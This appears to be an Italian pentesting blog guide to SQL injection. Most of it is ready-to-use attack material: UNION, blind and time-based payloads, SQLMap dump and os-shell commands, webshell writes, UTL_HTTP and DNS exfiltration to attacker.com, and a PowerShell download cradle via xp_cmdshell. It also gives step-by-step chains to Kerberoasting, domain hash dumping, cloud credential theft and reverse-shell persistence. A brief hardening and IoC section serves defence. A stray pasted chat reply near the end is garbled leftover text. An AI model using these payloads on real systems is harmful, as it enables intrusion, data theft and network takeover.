web-hacking

SQL Injection: Guida Completa al Pentesting (2026) con Exploitation Reale e RCE

SQL Injection: Guida Completa al Pentesting (2026) con Exploitation Reale e RCE

SQL Injection (SQLi): guida completa al pentesting con tutte le tecniche (Union, Blind, Time-Based), SQLMap, bypass WAF, RCE, escalation a Domain Admin e attacchi reali su API e ORM.

  • Pubblicato il 2026-03-02
  • Tempo di lettura: 12 min

SQL Injection — La Vulnerabilità Che Dopo 25 Anni È Ancora la Numero Uno #

La SQL Injection è nata nel 1998, ha 25+ anni, e nel 2026 è ancora la vulnerabilità web più pericolosa al mondo. OWASP la classifica nella categoria A03:2021 (Injection), Verizon DBIR la conferma tra le cause principali di data breach anno dopo anno, e io la trovo nel 42% dei penetration test su applicazioni web che eseguo — percentuale che sale al 60% se includo le API REST. Non è un problema risolto: ogni nuovo framework, ogni nuova API, ogni sviluppatore junior crea nuove opportunità per iniettare SQL dove non dovrebbe.

La ragione è strutturale: SQL Injection esiste quando un’applicazione costruisce query SQL concatenando input dell’utente senza parametrizzazione. E finché esistono sviluppatori che scrivono SELECT * FROM users WHERE id = '" + user_input + "'" — e ne esistono milioni — la SQLi esisterà.

In questa guida pillar copro tutto: dalla SQLi classica con UNION-based data extraction, alla Blind SQLi boolean-based e Time-Based, alla SQLi su API REST con JSON payload, fino alla SQLi sugli ORM dove tutti pensano di essere protetti. Ogni tipo con comandi reali, bypass WAF, escalation enterprise e tempistiche da engagement reale.

Il caso che racconto sempre nei corsi: una banca online con WAF Akamai, code review annuale, SAST/DAST pipeline. Ho trovato una Time-Based SQLi in un parametro di ordinamento (ORDER BY) che nessun tool automatico aveva rilevato. Da quel parametro → estrazione completa del database utenti (150.000 account) → hash bcrypt → 2.000 password craccate → accesso al pannello admin → API interne → connessione al core banking. Tempo: 4 ore dalla prima injection alla connessione al core banking. La SQLi era in un endpoint che il team security aveva classificato come “low risk”.

SQL Injection — Cosa Imparerai #

  • Cos’è la SQL Injection e perché dopo 25 anni è ancora la #1 delle vulnerabilità web
  • Come trovarla manualmente e con tool (SQLMap, ffuf, Burp) — inclusi i punti dove gli scanner falliscono
  • Come sfruttarla con payload reali: Error-Based, UNION-Based, Blind Boolean, Time-Based, OOB, Second-Order
  • Come escalarla dal database al sistema operativo (xp_cmdshell, INTO OUTFILE, COPY TO PROGRAM)
  • L’attack chain completa: da un parametro ORDER BY al Domain Admin in 4 ore
  • Ogni database: MySQL, MSSQL, PostgreSQL, Oracle — escalation specifica per ciascuno
  • Il playbook operativo: il workflow minuto-per-minuto da seguire in ogni pentest
  • La checklist finale: ogni test da eseguire, organizzato per tipo di injection e database

SQL Injection: Le Vulnerabilità Più Comuni #

La SQL Injection si divide in 6 tipi principali, ognuno con detection e exploitation differenti. Ecco la mappa completa.

Cos’è la SQL Injection? #

La SQL Injection (SQLi) è una vulnerabilità web che permette a un attaccante di iniettare codice SQL nelle query che l’applicazione esegue verso il database. Quando l’input utente viene inserito direttamente nella query senza sanitizzazione o parametrizzazione, l’attaccante può modificare la logica della query per estrarre dati, bypassare l’autenticazione, modificare o cancellare record, e in alcuni casi eseguire comandi sul sistema operativo. La SQL Injection colpisce qualsiasi database: MySQL, PostgreSQL, MSSQL, Oracle, SQLite.

La SQL Injection è pericolosa? Estremamente. Una singola SQLi può portare all’estrazione completa del database (dati personali, credenziali, dati finanziari), al bypass dell’autenticazione, alla modifica dei dati, e all’esecuzione di comandi sul server (RCE via xp_cmdshell su MSSQL, LOAD_FILE/INTO OUTFILE su MySQL). L’impatto è data breach totale con possibilità di RCE. Trovata nel 42% dei pentest web nel 2025-2026.

Come Verificare se la Tua Applicazione È Vulnerabile #

bash
# Shodan — cerca applicazioni con errori SQL esposti
"mysql_fetch" "error" port:80,443
"ORA-01756" port:80,443
"Microsoft OLE DB" "error" port:80,443
"PostgreSQL" "ERROR" "syntax" port:80,443

# Google Dorks (Surface web)
inurl:".php?id=" site:target.com
inurl:"index.php?cat=" site:target.com
intext:"sql syntax" site:target.com
intext:"mysql_fetch_array" site:target.com

# Nuclei scan
nuclei -u https://target.com -tags sqli

# SQLMap basic test
sqlmap -u "https://target.com/api/products?id=1" --batch --level=3 --risk=2

Le applicazioni web che espongono errori SQL nel browser o nelle risposte API sono il primo segnale. Ma la maggior parte delle SQLi moderne è blind — nessun errore visibile, solo differenze nel comportamento dell’applicazione. Un test manuale con ' (single quote) e " OR 1=1-- è il primo step, ma SQLMap automatizza l’exploitation completa.

Anatomia di una SQL Injection — Perché Succede #

Codice vulnerabile (il pattern universale) #

python
# ❌ VULNERABILE — concatenazione stringa
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)

Se username = admin' -- → la query diventa:

sql
SELECT * FROM users WHERE username = 'admin' --' AND password = ''

Il -- commenta il resto → bypass autenticazione. Login come admin senza password.

Codice sicuro (parametrizzato) #

python
# ✅ SICURO — prepared statement
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))

I parametri sono separati dalla query → il database li tratta come dati, non come codice SQL.

I 6 Tipi di SQL Injection #

1. In-Band SQLi (Classica) #

I risultati dell’injection appaiono direttamente nella risposta HTTP. Due sottotipi:

Error-Based — usa gli errori del database per estrarre dati:

text
https://target.com/products?id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--

UNION-Based — usa UNION SELECT per appendere i tuoi dati alla query:

text
https://target.com/products?id=1 UNION SELECT 1,username,password FROM users--

Dettaglio completo → SQL Injection Classica

2. Blind SQLi (Boolean-Based) #

Nessun dato nella risposta — solo true/false (pagina diversa, status code diverso):

text
https://target.com/products?id=1 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'

Se la pagina risponde normalmente → il primo carattere della password è a. Character by character.

Dettaglio completo → Blind SQL Injection

3. Time-Based Blind SQLi #

Nessuna differenza nella risposta — solo nel tempo:

text
https://target.com/products?id=1; IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',WAITFOR DELAY '0:0:5',0)--

Se la risposta arriva dopo 5 secondi → primo carattere corretto.

Dettaglio completo → Time-Based SQL Injection

4. Out-of-Band (OOB) SQLi #

I dati escono via DNS o HTTP verso un server controllato dall’attaccante:

sql
-- MSSQL
EXEC master..xp_dirtree '\\attacker.com\share\'

-- Oracle
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE rownum=1)) FROM dual;

-- MySQL
SELECT LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\share'));

Funziona quando la risposta non rivela nulla e i delay sono inaffidabili (connection pooling, timeout variabili).

5. Second-Order SQLi #

L’input viene salvato nel database e poi usato in una query successiva:

text
1. Registrazione: username = "admin'--"
2. L'app salva "admin'--" nel DB
3. Un altro endpoint usa quel valore: 
   SELECT * FROM profiles WHERE username = 'admin'--'
4. Bypass autenticazione differita

Difficilissima da trovare con tool automatici — richiede comprensione della logica applicativa.

6. SQLi su API REST / JSON #

json
POST /api/v1/login
{"username": "admin' OR 1=1--", "password": "anything"}

Le API moderne sono il nuovo fronte della SQLi — JSON body, GraphQL query, header custom.

Dettaglio completo → SQL Injection su API REST

SQLMap — L’Arma Nucleare #

bash
# Detection base
sqlmap -u "https://target.com/products?id=1" --batch --level=5 --risk=3

# Con cookie di sessione
sqlmap -u "https://target.com/products?id=1" --cookie="session=abc123" --batch

# POST request
sqlmap -u "https://target.com/api/login" --data="username=admin&password=test" --batch

# JSON body (API)
sqlmap -u "https://target.com/api/v1/search" --data='{"query":"test"}' --content-type="application/json" --batch

# Enumerazione
sqlmap -u "URL" --dbs                    # Lista database
sqlmap -u "URL" -D dbname --tables        # Tabelle
sqlmap -u "URL" -D dbname -T users --dump # Dump tabella

# OS Shell (MSSQL/MySQL)
sqlmap -u "URL" --os-shell               # Shell interattiva
sqlmap -u "URL" --os-cmd="whoami"        # Singolo comando

# File read/write
sqlmap -u "URL" --file-read="/etc/passwd"
sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Bypass WAF
sqlmap -u "URL" --tamper=space2comment,between,randomcase --random-agent

Tamper script per bypass WAF #

TamperCosa faQuando usarlo
space2commentSpazi → /**/WAF che filtra spazi
between>BETWEENFiltro operatori
randomcaseSELECTSeLeCtWAF case-sensitive
charencodeChar encodingWAF character filter
equaltolike=LIKEFiltro =
base64encodePayload in base64WAF inline decode
space2hashSpazi → #\nMySQL specific

Da SQLi a Shell — Escalation per Database #

MySQL → RCE #

sql
-- File write → webshell
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'--

-- File read
' UNION SELECT LOAD_FILE('/etc/passwd')--

-- Via User Defined Function (UDF)
-- Richiede FILE privilege e lib_mysqludf_sys
SELECT sys_exec('id');

MSSQL → RCE #

sql
-- xp_cmdshell (il classico)
'; EXEC xp_cmdshell 'whoami';--

-- Se xp_cmdshell è disabilitato
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
'; EXEC xp_cmdshell 'whoami';--

-- Reverse shell
'; EXEC xp_cmdshell 'powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker/shell.ps1'')"';--

PostgreSQL → RCE #

sql
-- COPY TO/FROM per file read/write
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned';--

-- Via pg_read_file (superuser)
SELECT pg_read_file('/etc/passwd');

-- Large Object → file write → webshell
SELECT lo_create(1337);
INSERT INTO pg_largeobject VALUES(1337, 0, decode('PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=','base64'));
SELECT lo_export(1337, '/var/www/html/shell.php');

Oracle → RCE #

sql
-- Via DBMS_SCHEDULER (dettaglio nella guida [porta 1521](https://hackita.it/articoli/porta-1521-oracle))
-- Via Java Stored Procedure
-- Via UTL_HTTP per OOB exfiltration
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM dba_users WHERE username='SYS')) FROM dual;

🏢 Enterprise Escalation — Da SQLi a Domain Admin / Cloud Compromise #

La SQLi non è “solo” un data breach del database. In un ambiente enterprise, è l’entry point per compromettere l’intera infrastruttura:

SQLi → Active Directory #

text
SQLi su webapp → xp_cmdshell (MSSQL) → shell come SQL Server service account
→ service account è Domain User → BloodHound enumeration
→ Kerberoasting dal server SQL → hash DA service account
→ crack → Domain Admin → DCSync → Golden Ticket

Tempo reale: 2-4 ore dall’injection al Domain Admin.

Il server SQL è quasi sempre domain-joined. Il service account SQL Server spesso ha SeImpersonatePrivilegePotato attack → SYSTEM → credential dump → lateral movement.

SQLi → Cloud Compromise #

text
SQLi su API cloud → file read → /proc/self/environ o metadata endpoint
→ AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ GCP: http://metadata.google.internal/computeMetadata/v1/
→ Azure: http://169.254.169.254/metadata/identity/oauth2/token

→ IAM credentials temporanee → AWS CLI con quelle credenziali
→ S3 bucket listing → data exfiltration
→ Lambda function injection → persistenza

Tempo reale: 30-60 minuti dalla SQLi alle credenziali cloud.

SQLi → CI/CD Compromise #

text
SQLi → dump tabella con API key/token → token di GitLab/Jenkins
→ modifica pipeline → code injection nel build
→ supply chain attack → tutte le istanze deployate compromesse

🔌 Variante API / Microservizi 2026 #

Nel 2026, la maggior parte delle SQLi che trovo non è nel classico ?id=1 di una pagina PHP. È nelle API REST e GraphQL dei microservizi:

json
// JSON body injection
POST /api/v2/search
{"filters": {"category": "electronics' OR 1=1--", "price_min": 0}}

// GraphQL injection
POST /graphql
{"query": "{ product(id: \"1' UNION SELECT username,password FROM users--\") { name } }"}

// Header injection
GET /api/v1/profile
X-User-ID: 1 OR 1=1

// JWT claim injection (se il claim va in una query)
{"sub": "1' UNION SELECT password FROM users WHERE id=1--"}

I framework ORM moderni (Django, Laravel, Hibernate, Sequelize) proteggono dalle SQLi base — ma i raw query, i query builder mal usati e le stored procedure chiamate da ORM sono ancora vulnerabili. Dettaglio nella guida SQLi su ORM.

Micro Playbook Quick Reference #

Vedi il Playbook Operativo completo sopra per il workflow dettagliato.

Quick version: Minuto 0-10 → Detection manuale su ogni parametro (quote, boolean, time delay) Minuto 10-25 → SQLMap confirmation + dump database Minuto 25-40 → Escalation a RCE (xp_cmdshell / INTO OUTFILE / COPY TO PROGRAM) Minuto 40-60+ → Post-exploitation enterprise (Kerberoasting / cloud creds / lateral movement)

Caso Studio Concreto #

Settore: Banca online, 150.000 utenti, WAF Akamai, code review annuale, SAST/DAST pipeline.

Scope: Pentest applicativo, grey-box.

Tutti i parametri standard (id, username, search) erano parametrizzati — nessuna SQLi classica. Ma l’endpoint /api/v2/transactions accettava un parametro sort per l’ordinamento:

text
GET /api/v2/transactions?account_id=12345&sort=date DESC

Il valore di sort veniva inserito direttamente nella clausola ORDER BY — non parametrizzabile con prepared statement (SQL non permette parametri in ORDER BY). Ho testato:

text
sort=date DESC, (SELECT CASE WHEN (1=1) THEN 1 ELSE 1/0 END)

Risposta normale → boolean condition funziona. Time-based:

text
sort=date DESC, (SELECT CASE WHEN (SUBSTRING(@@version,1,1)='M') THEN BENCHMARK(5000000,SHA1('test')) ELSE 0 END)

5 secondi di delay → MSSQL confermato. Da lì, SQLMap con --technique=T e il parametro sort:

bash
sqlmap -u "https://bank.com/api/v2/transactions?account_id=12345&sort=date" -p sort --technique=T --prefix="DESC," --dbms=mssql --batch

Risultato: 150.000 account con nome, IBAN, saldo, storico transazioni. L’hash delle password admin era bcrypt — ne ho craccate 2.000 in 3 ore con Hashcat. Con un account admin → pannello di gestione → API interne → connessione al core banking system.

Tempo dalla prima injection al core banking: 4 ore. Il parametro sort era stato classificato come “low risk” perché “non contiene dati utente”.

Errori Comuni Reali Trovati nei Pentest #

1. Parametrizzazione incompleta (60% delle SQLi che trovo) Gli sviluppatori parametrizzano WHERE id = ? ma non ORDER BY, LIMIT, nomi di tabella, nomi di colonna. Questi elementi non supportano prepared statement in molti database → richiedono whitelist validation.

2. ORM con raw query (25% delle SQLi) “Usiamo Django/Laravel, siamo protetti.” Poi nel codice: Model.objects.raw(f"SELECT * FROM x WHERE y = '{input}'"). L’ORM protegge se lo usi correttamente — il raw query bypassa tutto. Dettaglio: SQLi su ORM.

3. Stored procedure con SQL dinamico La logica è parametrizzata nel codice applicativo, ma la stored procedure concatena internamente: EXEC('SELECT * FROM ' + @tablename).

4. WAF configurato in “detect only” o con regole troppo permissive Il WAF logga ma non blocca. O blocca ' OR 1=1-- ma non ' OR/**/ 1=1-- (comment bypass). Falso senso di sicurezza.

5. SAST/DAST che non testa ORDER BY, LIMIT, header, cookie I tool automatici testano i parametri ovvi — id, search, username. Ma non sort, order, X-Forwarded-For, cookie value. La SQLi è dove non la cerchi.

6. Errori SQL esposti al client Stack trace con versione database, nome tabella, nome colonna nella risposta HTTP → information disclosure che facilita l’exploitation.

Indicatori di Compromissione (IoC) #

  • Query anomale nei slow query logUNION SELECT, WAITFOR DELAY, BENCHMARK, SLEEP(), EXTRACTVALUE, UPDATEXML nelle query
  • Errori SQL in aumento nei log applicativi — syntax error, type mismatch da input utente
  • Accessi massivi a tabelle sensibiliSELECT * su users, credentials, payments non da query applicative
  • Chiamate a xp_cmdshell, sp_configure nei log MSSQL
  • File scritti in directory webINTO OUTFILE, COPY TO in directory servite da Apache/Nginx
  • Connessioni OOB — DNS query anomale verso domini sconosciuti (OOB exfiltration), HTTP request a IP esterni
  • Tempo di risposta anomalo — request che impiegano esattamente 5, 10, 15 secondi (time-based blind)
  • Payload nei parametri — WAF log con ', --, UNION, SELECT, CONCAT, CHAR() nei parametri GET/POST

SQL Injection Pentesting: Playbook Operativo (Step-by-Step) #

Fase 1 — Detection Manuale (minuto 0-10) #

bash
# Test su OGNI parametro (GET, POST, JSON, header, cookie):
' → errore SQL? (Error-based confermata)
" → errore SQL diverso? (double quote injection)
' OR 1=1-- → login bypass? pagina diversa?
1 AND 1=1 vs 1 AND 1=2 → risposta diversa? (Boolean blind)
1; WAITFOR DELAY '0:0:5'-- → delay 5 sec? (Time-based MSSQL)
1 AND SLEEP(5)-- → delay 5 sec? (Time-based MySQL)
1; SELECT pg_sleep(5)-- → delay? (PostgreSQL)

# NON dimenticare:
# - Parametri ORDER BY, LIMIT, GROUP BY (non parametrizzabili!)
# - Header: X-Forwarded-For, Referer, User-Agent
# - Cookie values
# - JSON body nelle API

Fase 2 — SQLMap Confirmation + Enumeration (minuto 10-25) #

bash
sqlmap -u "URL?param=value" --batch --level=5 --risk=3 --threads=10
# Se JSON API:
sqlmap -u "URL" --data='{"key":"value"}' --content-type="application/json" --batch
# Enumera:
sqlmap -u "URL" --dbs
sqlmap -u "URL" -D target_db --tables
sqlmap -u "URL" -D target_db -T users --dump
# Se WAF:
sqlmap -u "URL" --tamper=space2comment,between,randomcase --random-agent

Fase 3 — Escalation a RCE (minuto 25-40) #

bash
# MSSQL → xp_cmdshell
sqlmap -u "URL" --os-shell
# MySQL → webshell via INTO OUTFILE
sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# PostgreSQL → COPY TO PROGRAM
sqlmap -u "URL" --os-cmd="id"

Fase 4 — Post-Exploitation Enterprise (minuto 40-60+) #

bash
# Da shell sul DB server:
whoami                    # Service account
ipconfig / ifconfig       # Rete interna
# MSSQL linked servers:
SELECT * FROM sys.servers;
# Kerberoasting:
impacket-GetUserSPNs DOMAIN/user -dc-ip DC_IP -request
# Credenziali cloud:
cat /proc/self/environ    # AWS/Azure/GCP creds

Attack Chain Reale SQL Injection (Step-by-Step) #

Chain 1: ORDER BY SQLi → Database Dump → Admin Access #

text
1. Test manuale: parametro ?sort=date → aggiungi SLEEP(5) → delay confermato
2. SQLMap con --technique=T -p sort → conferma Time-Based Blind
3. sqlmap --dbs → 3 database (app_prod, app_staging, mysql)
4. sqlmap -D app_prod -T users --dump → 150.000 utenti con hash bcrypt
5. hashcat -m 3200 → 2.000 password craccate incluso admin
6. Login admin panel → accesso gestione completa
→ DATA BREACH + ADMIN TAKEOVER

Chain 2: SQLi → xp_cmdshell → Domain Admin #

text
1. SQLi su MSSQL confermata (WAITFOR DELAY)
2. sqlmap --os-shell → shell come nt service\mssqlserver
3. whoami /priv → SeImpersonatePrivilege attivo
4. PrintSpoofer → NT AUTHORITY\SYSTEM
5. mimikatz → credenziali domain cached
6. BloodHound → path a Domain Admin
7. Kerberoasting → hash DA service account → crack
8. DCSync → tutti gli hash del dominio → Golden Ticket
→ DOMAIN COMPROMISE TOTALE (4 ore)

Chain 3: API SQLi → Cloud Takeover #

text
1. SQLi in JSON body API: {"search":"test' AND SLEEP(5)--"}
2. SQLMap dump → tabella api_keys con AWS credentials
3. aws sts get-caller-identity → conferma accesso
4. aws s3 ls → 30 bucket con backup e dati clienti
5. aws secretsmanager list-secrets → credenziali RDS, Redis, ElastiCache
→ CLOUD COMPROMISE (30-60 minuti)

Chain 4: SQLi → File Write → Web Shell → Persistence #

text
1. MySQL con FILE privilege → INTO OUTFILE
2. UNION SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
3. curl target.com/shell.php?c=id → RCE confermata
4. Persistence: copie shell multiple + cron reverse shell
→ RCE PERSISTENTE senza exploit aggiuntivi

Mini Chain Offensiva Reale #

text
ORDER BY SQLi (Time-Based) → SQLMap dump 150K users → Admin hash crack → Admin panel
→ API interne → MSSQL xp_cmdshell → Shell service account → Kerberoasting → Domain Admin

Step 1 — Detection e conferma

bash
# Parametro sort vulnerabile
GET /api/v2/transactions?sort=date DESC,(SELECT CASE WHEN (1=1) THEN 1 ELSE 1*(SELECT 1 FROM (SELECT SLEEP(5))x) END)
# → 5 secondi delay

Step 2 — SQLMap extraction

bash
sqlmap -u "URL?sort=date" -p sort --technique=T --dbms=mssql --batch --dbs
sqlmap ... -D bankdb -T users --dump
# → 150.000 record

Step 3 — Admin panel access

bash
hashcat -m 3200 admin_hashes.txt rockyou.txt
# → 2000 password craccate, incluso admin

Step 4 — OS shell via MSSQL

bash
sqlmap -u "URL" --os-shell
whoami → nt service\mssqlserver

Step 5 — Enterprise escalation

bash
# Dal SQL Server → Kerberoasting
impacket-GetUserSPNs DOMAIN/sqlserver_svc -dc-ip DC_IP -request
hashcat -m 13100 kerb_hashes.txt wordlist.txt
# → svc_admin:SqlAdmin2020! (Domain Admin)

Step 6 — Domain compromise

bash
impacket-secretsdump DOMAIN/svc_admin@DC_IP -just-dc-ntlm
# → tutti gli hash del dominio → Golden Ticket → game over

Dalla SQLi in un parametro sort → Domain Admin in 4 ore.

Detection & Hardening #

  • Prepared statement OVUNQUE — nessuna eccezione, nessun “ma questo parametro è sicuro”
  • Whitelist per ORDER BY — valida il valore contro una lista di colonne permesse
  • ORM senza raw query — se serve raw, parametrizza comunque
  • WAF in blocking mode — non solo detect
  • Errori generici — mai esporre errori SQL al client
  • Principio del minimo privilegio — l’utente DB dell’applicazione non deve avere FILE, EXECUTE, xp_cmdshell
  • Monitora le query — alert su pattern SQLi nei log (UNION, SLEEP, xp_cmdshell)
  • SAST/DAST su tutti i parametri — inclusi header, cookie, ORDER BY, LIMIT
  • Penetration test — nessun tool automatico trova il 100% delle SQLi

✅ Checklist SQL Injection Pentest #

text
DETECTION
☐ Single quote (') su ogni parametro GET/POST/JSON/Cookie/Header
☐ Double quote (") su ogni parametro
☐ Boolean test: AND 1=1 vs AND 1=2 → risposta diversa?
☐ Time test: SLEEP(5) / WAITFOR DELAY '0:0:5' / pg_sleep(5)
☐ Error test: EXTRACTVALUE, UPDATEXML → errore SQL visibile?
☐ Parametri ORDER BY, LIMIT, GROUP BY testati (non parametrizzabili!)
☐ Header testati: X-Forwarded-For, Referer, User-Agent
☐ Cookie values testati
☐ JSON body testato (API REST)
☐ GraphQL parameters testati

CONFIRMATION (SQLMap)
☐ sqlmap con --level=5 --risk=3 eseguito
☐ DBMS identificato (MySQL/MSSQL/PostgreSQL/Oracle/SQLite)
☐ Tecnica identificata (U/E/B/T/S)
☐ --tamper usato se WAF presente

ENUMERATION
☐ --dbs → database elencati
☐ --tables → tabelle elencate
☐ -T users --dump → utenti estratti
☐ --passwords → hash password estratti
☐ --privileges → privilegi DB verificati

ESCALATION
☐ MSSQL: xp_cmdshell testato (--os-shell)
☐ MySQL: INTO OUTFILE testato (--file-write webshell)
☐ MySQL: LOAD_FILE testato (--file-read /etc/passwd)
☐ PostgreSQL: COPY TO PROGRAM testato
☐ Oracle: UTL_HTTP / DBMS_SCHEDULER testati
☐ Linked servers enumerati (MSSQL)

POST-EXPLOITATION
☐ Credenziali admin craccate (hashcat)
☐ Credenziali cloud estratte (/proc/self/environ, tabelle config)
☐ Rete interna enumerata dal DB server
☐ Kerberoasting eseguito (se MSSQL domain-joined)
☐ Lateral movement documentato

WAF BYPASS
☐ space2comment testato
☐ between testato
☐ randomcase testato
☐ Inline comment (/*!50000 UNION*/ SELECT) testato
☐ Double URL encoding testato
☐ JSON/multipart encoding testato

Mini FAQ #

La SQL Injection esiste ancora nel 2026? Sì — la trovo nel 42% dei pentest web. I framework moderni proteggono dalla SQLi classica, ma non da: raw query negli ORM, ORDER BY injection, stored procedure con SQL dinamico, API che non parametrizzano il JSON input, Second-Order SQLi. La SQLi si è evoluta, non è scomparsa.

SQLMap trova tutte le SQL Injection? No. SQLMap è eccellente per confermare e sfruttare SQLi note, ma ha limiti: non testa Second-Order SQLi, fatica con custom JSON structure, non capisce logiche applicative complesse. La detection manuale resta fondamentale — SQLMap è il tool di exploitation, il pentester è il tool di detection.

Come passo da SQLi a RCE? Dipende dal database: MSSQL → xp_cmdshell. MySQL → INTO OUTFILE (webshell) o UDF. PostgreSQL → COPY TO PROGRAM. Oracle → DBMS_SCHEDULER o Java Stored Procedure. Tutti richiedono specifici privilegi — ma nei pentest li trovo nel 30% dei casi.

Mappa del Cluster SQL Injection #

ArticoloFocusLink
Questa guidaPanoramica completa, escalation, chain
SQL Injection ClassicaUNION-based, Error-based, detection manuale
Blind SQL InjectionBoolean-based, character extraction, automation
Time-Based SQL InjectionTime delay, heavy query, conditional response
SQL Injection su API RESTJSON body, GraphQL, header, microservizi
SQL Injection su ORMDjango, Laravel, Hibernate, Sequelize, raw query

Perfetto, ti do direttamente il blocco finale pulito, SEO, con link vivi (NO 404) 👇


🔗 Riferimenti & Approfondimenti #


🎯 CTA #

Se vuoi padroneggiare davvero la SQL Injection fino a livello enterprise (AD / cloud compromise):


#sql

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.